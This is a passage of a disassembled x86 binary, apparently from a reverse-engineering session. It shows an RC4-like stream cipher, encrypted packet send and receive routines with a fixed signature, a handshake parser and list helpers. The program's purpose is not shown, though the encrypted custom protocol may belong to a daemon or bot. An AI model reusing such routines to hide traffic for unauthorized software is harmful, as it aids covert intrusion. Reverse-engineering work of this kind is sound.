		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+esi]
		add	eax, edx
		movzx	edi, al
		mov	eax, [ebx+edi*4]
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+edi*4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		cmp	eax, [ebp+arg_8]
		jl	short loc_443C4C
		and	[ebp+var_8], 0


loc_443C4C:				; CODE XREF: sub_443BDC+6Aj
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_443C12
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443BDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443C5C	proc near		; CODE XREF: sub_443DFB+86p
					; sub_443ECD+71p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+400h]
		mov	edi, [eax+404h]
		mov	ecx, eax
		and	[ebp+var_8], 0
		jmp	short loc_443CC3
; ---------------------------------------------------------------------------


loc_443C7C:				; CODE XREF: sub_443C5C+6Dj
		lea	eax, [ebx+1]
		movzx	ebx, al
		lea	eax, [ecx+ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		movzx	edi, dl
		mov	edx, [ecx+edi*4]
		mov	[ebp+var_C], edx
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	[ecx+edi*4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+var_10], eax
		movsx	edx, byte ptr [eax]
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_C]
		add	eax, esi
		movzx	eax, al
		xor	edx, [ecx+eax*4]
		mov	al, dl
		mov	edx, [ebp+var_10]
		mov	[edx], al
		inc	[ebp+var_8]


loc_443CC3:				; CODE XREF: sub_443C5C+1Ej
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jl	short loc_443C7C
		mov	edx, [ebp+arg_0]
		mov	[edx+400h], ebx
		mov	edx, [ebp+arg_0]
		mov	[edx+404h], edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443CE4	proc near		; CODE XREF: DMN1:0044604Fp

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	474h
		call	sub_443369
		pop	ecx
		mov	esi, eax
		push	10020h
		call	sub_443369
		pop	ecx
		mov	[esi+46Ch], eax
		mov	[ebp+var_1], 5Ah
		xor	ebx, ebx


loc_443D0E:				; CODE XREF: sub_443CE4+3Fj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+4], al
		movsx	eax, [ebp+var_1]
		lea	eax, [ebx+eax*2]
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_443D0E
		mov	[ebp+var_1], 0A5h
		xor	ebx, ebx


loc_443D2B:				; CODE XREF: sub_443CE4+5Dj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+44h], al
		movsx	eax, [ebp+var_1]
		add	eax, eax
		sub	eax, ebx
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_443D2B
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [esi+46Ch]
		mov	[esi+470h], eax
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443CE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_443D5C	proc near		; CODE XREF: DMN1:004462DFp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	dword ptr [ebx+46Ch]
		call	sub_443397
		pop	ecx
		push	ebx
		call	sub_443397
		pop	ecx
		pop	ebx
		retn
sub_443D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443D76	proc near		; CODE XREF: sub_443DFB+27p
					; sub_443ECD+36p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	40h
		lea	eax, [ebx+4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_443BDC
		add	esp, 0Ch
		mov	al, [ebx+4]
		mov	[ebp+var_1], al
		push	3Fh
		lea	eax, [ebx+5]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	al, [ebp+var_1]
		mov	[ebx+43h], al
		xor	esi, esi
		xor	edi, edi
		jmp	short loc_443DCE
; ---------------------------------------------------------------------------


loc_443DB6:				; CODE XREF: sub_443D76+5Bj
		lea	eax, [ebx+esi+4]
		mov	dl, [ebx+edi+44h]
		add	[eax], dl
		lea	eax, [edi+1]
		mov	ecx, 20h
		cdq
		idiv	ecx
		mov	edi, edx
		inc	esi


loc_443DCE:				; CODE XREF: sub_443D76+3Ej
		cmp	esi, 40h
		jl	short loc_443DB6
		mov	al, [ebx+63h]
		mov	[ebp+var_1], al
		mov	esi, 1Fh


loc_443DDE:				; CODE XREF: sub_443D76+76j
		lea	eax, [esi-1]
		mov	al, [ebx+eax+44h]
		mov	[ebx+esi+44h], al
		dec	esi
		test	esi, esi
		jg	short loc_443DDE
		mov	al, [ebp+var_1]
		mov	[ebx+44h], al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443D76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443DFB	proc near		; CODE XREF: sub_443EB0+13p
					; sub_444097+8Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jl	short loc_443E14
		cmp	esi, 0FFFFh
		jle	short loc_443E1B


loc_443E14:				; CODE XREF: sub_443DFB+Fj
		xor	eax, eax
		jmp	loc_443EA9
; ---------------------------------------------------------------------------


loc_443E1B:				; CODE XREF: sub_443DFB+17j
		cmp	[ebp+arg_10], 0
		jz	short loc_443E28
		push	ebx
		call	sub_443D76
		pop	ecx


loc_443E28:				; CODE XREF: sub_443DFB+24j
		mov	edi, [ebx+46Ch]
		mov	word ptr [edi],	29Ah
		add	edi, 2
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 2
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		test	esi, esi
		jz	short loc_443E5A
		push	esi
		push	[ebp+arg_8]
		push	edi
		call	sub_449A11
		add	esp, 0Ch


loc_443E5A:				; CODE XREF: sub_443DFB+50j
		add	esi, 6
		push	esi
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
		call	nullsub_4
		add	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jz	short loc_443E89
		push	esi
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_443C5C
		add	esp, 0Ch


loc_443E89:				; CODE XREF: sub_443DFB+79j
		push	esi
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_443AA8
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], esi
		jge	short loc_443EA6
		xor	eax, eax
		jmp	short loc_443EA9
; ---------------------------------------------------------------------------


loc_443EA6:				; CODE XREF: sub_443DFB+A5j
		xor	eax, eax
		inc	eax


loc_443EA9:				; CODE XREF: sub_443DFB+1Bj
					; sub_443DFB+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443DFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443EB0	proc near		; CODE XREF: DMN1:00444268p
					; DMN1:0044616Bp

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		movzx	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_443DFB
		add	esp, 14h
		pop	ebp
		retn
sub_443EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443ECD	proc near		; CODE XREF: sub_44407C+11p
					; DMN1:00444156p

var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_10]
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	short loc_443EF6
		cmp	eax, 0FFFFh
		jle	short loc_443EFE


loc_443EF6:				; CODE XREF: sub_443ECD+20j
		or	eax, 0FFFFFFFFh
		jmp	loc_444075
; ---------------------------------------------------------------------------


loc_443EFE:				; CODE XREF: sub_443ECD+27j
		test	esi, esi
		jz	short loc_443F09
		push	ebx
		call	sub_443D76
		pop	ecx


loc_443F09:				; CODE XREF: sub_443ECD+33j
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		push	dword ptr [ebx]
		call	sub_4439FD
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_443F30
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_444075
; ---------------------------------------------------------------------------


loc_443F30:				; CODE XREF: sub_443ECD+51j
		test	esi, esi
		jz	short loc_443F46
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_443C5C
		add	esp, 0Ch


loc_443F46:				; CODE XREF: sub_443ECD+65j
		cmp	[ebp+var_6], 29Ah
		jz	short loc_443F69
		movzx	eax, [ebp+var_6]
		push	eax
		push	offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	eax, 0FFFFFFFEh
		jmp	loc_444075
; ---------------------------------------------------------------------------


loc_443F69:				; CODE XREF: sub_443ECD+7Fj
		push	2
		push	[ebp+arg_4]
		push	dword ptr [ebx]
		call	sub_4439FD
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_443F8F
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_444075
; ---------------------------------------------------------------------------


loc_443F8F:				; CODE XREF: sub_443ECD+B0j
		test	esi, esi
		jz	short loc_443FA4
		push	2
		push	[ebp+arg_4]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_443C5C
		add	esp, 0Ch


loc_443FA4:				; CODE XREF: sub_443ECD+C4j
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_4439FD
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_443FDE
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_444075
; ---------------------------------------------------------------------------


loc_443FDE:				; CODE XREF: sub_443ECD+FFj
		test	esi, esi
		jz	short loc_443FF4
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_443C5C
		add	esp, 0Ch


loc_443FF4:				; CODE XREF: sub_443ECD+113j
		push	[ebp+arg_C]
		push	[ebp+var_4]
		push	offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
		call	nullsub_4
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_44402C
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_4439FD
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_44402C
		or	eax, 0FFFFFFFFh
		jmp	short loc_444075
; ---------------------------------------------------------------------------


loc_44402C:				; CODE XREF: sub_443ECD+13Ej
					; sub_443ECD+158j
		test	esi, esi
		jz	short loc_444045
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_443C5C
		add	esp, 0Ch


loc_444045:				; CODE XREF: sub_443ECD+161j
		cmp	[ebp+arg_8], 0
		jz	short loc_444072
		mov	eax, [ebp+arg_C]
		cmp	[ebp+var_4], eax
		jle	short loc_444059
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax


loc_444059:				; CODE XREF: sub_443ECD+184j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_444072
		push	eax
		push	dword ptr [ebx+46Ch]
		push	[ebp+arg_8]
		call	sub_449A11
		add	esp, 0Ch


loc_444072:				; CODE XREF: sub_443ECD+17Cj
					; sub_443ECD+191j
		mov	eax, [ebp+var_4]


loc_444075:				; CODE XREF: sub_443ECD+2Cj
					; sub_443ECD+5Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443ECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44407C	proc near		; CODE XREF: sub_444272+18p
					; DMN1:004461CEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_443ECD
		add	esp, 14h
		pop	ebp
		retn
sub_44407C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444097	proc near		; CODE XREF: DMN1:004460C6p

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		lea	edi, [ebp+var_80]
		lea	edi, [ebp+var_80]
		mov	word ptr [edi],	1
		add	edi, 2
		mov	word ptr [edi],	10h
		add	edi, 2
		and	dword ptr [edi], 0
		add	edi, 4
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 4
		or	esi, 1000h
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		mov	word ptr [edi],	40h
		add	edi, 2
		mov	word ptr [edi],	20h
		add	edi, 2
		push	40h
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_449A11
		add	esp, 0Ch
		add	edi, 40h
		push	20h
		lea	eax, [ebx+44h]
		push	eax
		push	edi
		call	sub_449A11
		add	esp, 0Ch
		add	edi, 20h
		push	0
		lea	eax, [ebp+var_80]
		mov	edx, edi
		sub	edx, eax
		push	edx
		lea	eax, [ebp+var_80]
		push	eax
		push	1
		push	ebx
		call	sub_443DFB
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444097	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	ebx, [ebp-80h]
		push	0
		push	80h
		lea	eax, [ebp-80h]
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_443ECD
		add	esp, 14h
		mov	esi, eax
		cmp	word ptr [ebp-84h], 1
		jnz	short loc_44416F
		cmp	esi, 0Ah
		jge	short loc_44419C


loc_44416F:				; CODE XREF: DMN1:00444168j
		cmp	esi, 0Ah
		jge	short loc_444181
		push	offset aHandshakeRecvE ; "Handshake: recv() error\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_444195
; ---------------------------------------------------------------------------


loc_444181:				; CODE XREF: DMN1:00444172j
		movzx	eax, word ptr [ebp-84h]
		push	eax
		push	offset aHandshakeBadPa ; "Handshake: bad packed	(%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx


loc_444195:				; CODE XREF: DMN1:0044417Fj
		xor	eax, eax
		jmp	loc_444250
; ---------------------------------------------------------------------------


loc_44419C:				; CODE XREF: DMN1:0044416Dj
		lea	ebx, [ebp-80h]
		cmp	word ptr [ebx],	1
		jz	short loc_4441BC
		movzx	eax, word ptr [ebx]
		push	eax
		push	offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	loc_444250
; ---------------------------------------------------------------------------


loc_4441BC:				; CODE XREF: DMN1:004441A3j
		add	ebx, 2
		mov	edx, [ebp+0Ch]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		add	ebx, 4
		mov	edx, [ebp+10h]
		mov	ax, [ebx]
		mov	[edx], ax
		add	ebx, 4
		mov	edx, [ebp+14h]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		mov	ax, [ebx]
		mov	[ebp-82h], ax
		add	ebx, 2
		cmp	word ptr [ebp-82h], 40h
		jz	short loc_4441FF
		xor	eax, eax
		jmp	short loc_444250
; ---------------------------------------------------------------------------


loc_4441FF:				; CODE XREF: DMN1:004441F9j
		mov	di, [ebx]
		add	ebx, 2
		cmp	di, 20h
		jz	short loc_44420F
		xor	eax, eax
		jmp	short loc_444250
; ---------------------------------------------------------------------------


loc_44420F:				; CODE XREF: DMN1:00444209j
		sub	esi, 10h
		movzx	eax, word ptr [ebp-82h]
		movzx	edx, di
		add	eax, edx
		cmp	esi, eax
		jge	short loc_444226
		xor	eax, eax
		jmp	short loc_444250
; ---------------------------------------------------------------------------


loc_444226:				; CODE XREF: DMN1:00444220j
		push	40h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		add	ebx, 40h
		push	20h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 44h
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_444250:				; CODE XREF: DMN1:00444197j
					; DMN1:004441B7j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1
		lea	eax, [ebp+0Ch]
		push	eax
		push	29Ah
		push	dword ptr [ebp+8]
		call	sub_443EB0
		add	esp, 10h
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444272	proc near		; CODE XREF: DMN1:004460EEp
					; DMN1:004461A5p

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_44407C
		add	esp, 10h
		mov	ebx, eax
		cmp	[ebp+var_4], 29Ah
		jnz	short loc_4442A1
		cmp	ebx, 1
		jz	short loc_4442A6


loc_4442A1:				; CODE XREF: sub_444272+28j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4442AA
; ---------------------------------------------------------------------------


loc_4442A6:				; CODE XREF: sub_444272+2Dj
		movzx	eax, [ebp+var_2]


loc_4442AA:				; CODE XREF: sub_444272+32j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444272	endp


; =============== S U B	R O U T	I N E =======================================



sub_4442AF	proc near		; CODE XREF: sub_448AD1+3Ap
		push	ebx
		push	10h
		call	sub_443369
		pop	ecx
		mov	ebx, eax
		pop	ebx
		retn
sub_4442AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4442BC	proc near		; CODE XREF: DMN1:004442F5p
					; DMN1:00444500p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_4442E7
		mov	esi, [ebx+4]
		jmp	short loc_4442D8
; ---------------------------------------------------------------------------


loc_4442CC:				; CODE XREF: sub_4442BC+1Ej
		mov	edi, esi
		mov	esi, [esi+8]
		push	edi
		call	sub_443397
		pop	ecx


loc_4442D8:				; CODE XREF: sub_4442BC+Ej
		test	esi, esi
		jnz	short loc_4442CC
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		and	dword ptr [ebx+8], 0


loc_4442E7:				; CODE XREF: sub_4442BC+9j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4442BC	endp

; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, [esp+8]
		test	ebx, ebx
		jz	short loc_444302
		push	ebx
		call	sub_4442BC
		pop	ecx
		push	ebx
		call	sub_443397
		pop	ecx


loc_444302:				; CODE XREF: DMN1:004442F2j
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_444304	proc near		; CODE XREF: DMN1:0044669Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_4]
		mov	bx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	edx, [eax+4]
		jmp	short loc_44432B
; ---------------------------------------------------------------------------


loc_444317:				; CODE XREF: sub_444304+29j
		cmp	[edx+4], ecx
		jnz	short loc_444328
		test	bx, bx
		jz	short loc_444326
		cmp	[edx], bx
		jnz	short loc_444328


loc_444326:				; CODE XREF: sub_444304+1Bj
		jmp	short loc_44432F
; ---------------------------------------------------------------------------


loc_444328:				; CODE XREF: sub_444304+16j
					; sub_444304+20j
		mov	edx, [edx+8]


loc_44432B:				; CODE XREF: sub_444304+11j
		test	edx, edx
		jnz	short loc_444317


loc_44432F:				; CODE XREF: sub_444304:loc_444326j
		mov	eax, edx
		pop	ebx
		retn
sub_444304	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	14h
		call	sub_443369
		pop	ecx
		mov	esi, eax
		mov	eax, [ebx+4]
		mov	[esi+8], eax
		mov	[ebx+4], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_444353
		mov	[ebx], esi


loc_444353:				; CODE XREF: DMN1:0044434Fj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+10h]
		mov	[esi+4], eax
		mov	ax, [esp+14h]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_44436A	proc near		; CODE XREF: DMN1:00444517p
					; sub_445EA7+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		push	14h
		call	sub_443369
		pop	ecx
		mov	esi, eax
		cmp	dword ptr [ebx], 0
		jz	short loc_444388
		mov	edx, [ebx]
		mov	[edx+8], esi
		mov	[ebx], esi
		jmp	short loc_44438D
; ---------------------------------------------------------------------------


loc_444388:				; CODE XREF: sub_44436A+13j
		mov	[ebx], esi
		mov	[ebx+4], esi


loc_44438D:				; CODE XREF: sub_44436A+1Cj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+8+arg_4]
		mov	[esi+4], eax
		mov	ax, [esp+8+arg_8]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_44436A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4443A4	proc near		; CODE XREF: DMN1:004444BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	bx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_4443D1
; ---------------------------------------------------------------------------


loc_4443B7:				; CODE XREF: sub_4443A4+2Fj
		mov	eax, [esp+0Ch+arg_4]
		cmp	[esi+4], eax
		jnz	short loc_4443CC
		test	bx, bx
		jz	short loc_4443CA
		cmp	[esi], bx
		jnz	short loc_4443CC


loc_4443CA:				; CODE XREF: sub_4443A4+1Fj
		jmp	short loc_4443D5
; ---------------------------------------------------------------------------


loc_4443CC:				; CODE XREF: sub_4443A4+1Aj
					; sub_4443A4+24j
		mov	edi, esi
		mov	esi, [esi+8]


loc_4443D1:				; CODE XREF: sub_4443A4+11j
		test	esi, esi
		jnz	short loc_4443B7


loc_4443D5:				; CODE XREF: sub_4443A4:loc_4443CAj
		test	esi, esi
		jnz	short loc_4443DD
		xor	eax, eax
		jmp	short loc_444423
; ---------------------------------------------------------------------------


loc_4443DD:				; CODE XREF: sub_4443A4+33j
		test	edi, edi
		jz	short loc_4443F7
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_4443EF
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_4443EF:				; CODE XREF: sub_4443A4+43j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_444412
; ---------------------------------------------------------------------------


loc_4443F7:				; CODE XREF: sub_4443A4+3Bj
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_444412
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_444412:				; CODE XREF: sub_4443A4+51j
					; sub_4443A4+65j
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_443397
		pop	ecx
		xor	eax, eax
		inc	eax


loc_444423:				; CODE XREF: sub_4443A4+37j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4443A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_444427	proc near		; CODE XREF: DMN1:004444E6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_444449
; ---------------------------------------------------------------------------


loc_444439:				; CODE XREF: sub_444427+24j
		mov	eax, [esp+0Ch+arg_4]
		sub	eax, [esi+10h]
		cmp	eax, ebx
		jnb	short loc_44444D
		mov	edi, esi
		mov	esi, [esi+8]


loc_444449:				; CODE XREF: sub_444427+10j
		test	esi, esi
		jnz	short loc_444439


loc_44444D:				; CODE XREF: sub_444427+1Bj
		test	esi, esi
		jnz	short loc_444455
		xor	eax, eax
		jmp	short loc_44449B
; ---------------------------------------------------------------------------


loc_444455:				; CODE XREF: sub_444427+28j
		test	edi, edi
		jz	short loc_44446F
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_444467
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_444467:				; CODE XREF: sub_444427+38j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_44448A
; ---------------------------------------------------------------------------


loc_44446F:				; CODE XREF: sub_444427+30j
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_44448A
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_44448A:				; CODE XREF: sub_444427+46j
					; sub_444427+5Aj
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_443397
		pop	ecx
		xor	eax, eax
		inc	eax


loc_44449B:				; CODE XREF: sub_444427+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_444427	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	si, [ebp+10h]
		xor	edi, edi
		jmp	short loc_4444B3
; ---------------------------------------------------------------------------


loc_4444B0:				; CODE XREF: DMN1:004444C5j
		xor	edi, edi
		inc	edi


loc_4444B3:				; CODE XREF: DMN1:004444AEj
		movzx	eax, si
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4443A4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4444B0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	esi, [ebp+10h]
		xor	edi, edi
		jmp	short loc_4444E1
; ---------------------------------------------------------------------------


loc_4444DE:				; CODE XREF: DMN1:004444F0j
		xor	edi, edi
		inc	edi


